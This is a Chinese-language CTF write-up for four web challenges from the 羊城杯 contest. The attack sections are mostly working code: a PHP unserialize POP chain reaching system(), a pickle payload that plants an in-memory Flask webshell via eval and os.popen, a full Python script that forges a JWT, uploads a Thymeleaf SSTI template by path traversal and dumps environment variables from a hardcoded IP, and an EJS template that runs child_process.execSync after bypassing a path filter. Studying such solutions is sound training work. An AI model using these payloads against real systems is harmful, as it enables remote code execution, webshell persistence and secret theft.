羊城杯Web1345 wp

我想说什么,但是也不懂说什么,那就不说了

ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
public $first;
public $step;
public $next;

public function __construct() {
$this->first = "继续加油!";
}

public function start() {
echo $this->next;
}
}

class E {
private $you;
public $found;
private $secret = "admin123";

public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}

class F {
public $fifth;
public $step;
public $finalstep;

public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}

class H {
public $who;
public $are;
public $you;

public function __construct() {
$this->you = "nobody";
}

public function __destruct() {
$this->who->start();
}
}

class N {
public $congratulation;
public $yougotit;

public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}

class U {
public $almost;
public $there;
public $cmd;

public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}

public function __invoke() {
return $this->there->system($this->cmd);
}
}

class V {
public $good;
public $keep;
public $dowhat;
public $go;

public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}

unserialize($_POST['payload']);

?>

首先能看见$this->there->system($this->cmd);,那就说明U应该是作为链尾,而我们知道invoke是通过调用函数来触发的,那我们向上寻找,能发现$this->there = new N();,那我们现在来看N,N中的__call()是通过调用不存在的函数来触发,同时注意到call_user_func($func_name,$args[0]),配合一手$this->there = new N();达到可以执行system(cmd)的效果

1
2
3
4
5
6
H::__destruct  →  A::start
→ V::__toString //当作字符串的时候触发
→ E::__get() //通过访问不存在的
→ F::check() //通过调用函数来触发
→ U::__invoke() //通过调用函数
→ system(cmd)

然后自己再写一下payload即可

(AI是可以一把梭的)

ez_blog

发现guest和guest可以直接登录(这他妈猜谜语是吧)

然后抓包发现cookie是十六进制编码过后的

这里打pic反序列化+内存马即可

1
2
3
4
5
6
7
8
9
import pickle
import os

class A():
def __reduce__(self):
payload=r"""app.after_request_funcs.setdefault(None,[]).append(lambda resp: make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)"""
return (eval,(payload,))

print(pickle.dumps(A()).hex())

然后直接cmd=ls /即可

webauth

Springboot下的Thymeleaf全版本SSTI-CSDN博客

Thymeleaf SSTI漏洞分析-先知社区

Thymeleaf SSTI 模版注入 | X1ongSec

理论上AI也可以做出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import jwt
import datetime
import requests
import re
import sys

def exploit(target_url):
print(f"[+] Target: {target_url}")

secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03"
payload = {
"sub": "user1",
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}

try:
token = jwt.encode(payload, secret, algorithm="HS256")
if isinstance(token, bytes):
token = token.decode('utf-8')
except Exception as e:
print(f"[-] JWT encode failed: {e}")
return None

headers = {'Authorization': f'Bearer {token}'}
print(f"[+] Generated JWT token (truncated): {token[:40]}...")

ssti_payload = '''<html xmlns:th="http://www.thymeleaf.org">
<body>
<h2>Env</h2>
<div th:each="entry : ${@environment.getSystemEnvironment().entrySet()}">
<p th:text="${entry.key + ' = ' + entry.value}"></p>
</div>
</body>
</html>'''

print("[*] Uploading SSTI payload to templates directory...")
files = {'imgFile': ('payload.html', ssti_payload)}
data = {'imgName': '../templates/dasctf_exploit'}

try:
r1 = requests.post(
f'{target_url}/upload',
headers=headers,
files=files,
data=data,
timeout=10
)
if r1.status_code == 200 and "success" in r1.text:
print("[+] Upload successful!")
else:
print(f"[-] Upload failed! Status: {r1.status_code}, Response: {r1.text}")
return None
except Exception as e:
print(f"[-] Upload error: {e}")
return None

print("[*] Triggering SSTI via dynamic template...")
try:
r2 = requests.get(
f'{target_url}/login/dynamic-template?value=dasctf_exploit',
timeout=10
)
if r2.status_code != 200:
print(f"[-] SSTI trigger failed! Status: {r2.status_code}")
return None
print("[+] SSTI executed successfully!")
except Exception as e:
print(f"[-] SSTI trigger error: {e}")
return None

content = r2.text
# 匹配 DASCTF{...} 格式(CTF 常见)
flag_match = re.search(r'(DASCTF\{[^}]+\})', content)
if flag_match:
flag = flag_match.group(1)
print("\n" + "="*60)
print(f"[!] FLAG FOUND: {flag}")
print("="*60)
return flag
else:
print("[-] DASCTF{...} flag not found.")
# 可选:打印部分环境变量用于调试
env_matches = re.findall(r'<p>([^<]+)</p>', content)
if env_matches:
print("[*] Sample environment variables (first 5):")
for env in env_matches[:5]:
if "FLAG" in env or "CTF" in env or "secret" in env.lower():
print(f" >>> {env}")
else:
print(f" {env}")
else:
print("[-] No environment variables extracted. Check response manually.")
print(f"Response preview:\n{content[:500]}")
return None

if __name__ == "__main__":

target = "http://45.40.247.139:23650" # 默认目标

flag = exploit(target)

if flag:
print(f"\nSuccess! Submit your flag: {flag}")
sys.exit(0)
else:
print("\nFailed to retrieve flag.")
sys.exit(1)

staticNodeService

首先看源码:(截取一些关键的)

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = parseInt(process.env.PORT) || 3000;

app.set('view engine', 'ejs');
app.use(express.json({
limit: '1mb'
}));

const STATIC_DIR = path.join(__dirname, '/');


// serve index for better viewing
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}


// static serve for simply view/download
app.use(express.static(STATIC_DIR));


// Security middleware
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})


// logic middleware
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})


// Upload operation handler
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);

if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});


// Server start
app.listen(PORT, () => {
console.log(`Static server is running on http://localhost:${PORT}`);
});

readflag.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int main() {
FILE *file;
int c;

file = fopen("/flag", "r");
while ((c = fgetc(file)) != EOF) {
putchar(c);
}
fclose(file);

return 0;
}

dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM node:latest

WORKDIR /App

COPY App/ .
COPY flag /flag
COPY readflag.c /readflag.c
COPY start.sh /start.sh

RUN npm install
RUN chown root:root /flag && chmod 400 /flag
RUN gcc -o /readflag /readflag.c
RUN chmod a+x /start.sh
RUN rm /readflag.c
RUN chmod u+s /readflag
RUN chown -R node:node /App

EXPOSE 3000

CMD [ "/bin/bash", "/start.sh" ]

首先dockerfile和readflag.c这两个文件很明确的告诉我们了flag没有权限读取,但是可以直接使用/readflag这个命令就可以读取,然后再看app.js,首先是个templ

1
2
3
4
5
6
7
8
9
10
11
12
13
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}

这里告诉我们可以使用?templ=xxx来渲染一个文件

然后看文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);

if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});

这边允许使用PUT方法上传文件,且文件内容需要base64编码,例如{"content":"b64encode()"}然后文件名称直接在URL后面跟即可,比如PUT /views/eg.ejs

但是这里有WAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})


// logic middleware
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})

可以看到过滤了js结尾和..这样子的目录穿越,但是可以使用/.进行绕过,因为/.表示当前目录,且在绝对路径中,/a/b/.其实等效于/a/b,不如直接写个POC:

1
2
3
4
5
6
7
8
const path = "/views/eg.ejs/."

if (/js$|\.\./i.test(path))
console.log("Not allowed")
else
console.log("Allowed")

//Allowed

这样我们就可以简单上传一个ejs文件上去了,但是问题来了,怎么调用/readflag?

[(11 封私信 / 80 条消息) ejs模板注入&js原型链污染(GKCTF 2021]easynode) - 知乎

Ejs模板引擎注入实现RCE-先知社区

很明显的是,当使用/views/?templ=eg.ejs后,eg.ejs被解析,而ejs模板同FLASK和Bottle一样,同样存在SSTI

eg.ejs

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>SSTI</title>
</head>
<body>
<ul>
<%= process.mainModule.require('child_process').execSync('/readflag') %>
</ul>
</body>
</html>

然后base64之后

1
2
3
4
5
PUT /views/eg.ejs/.

Content-Type:application/json

{"content":"base64..."}

然后访问GET /views/?templ=eg.ejs即可得到flag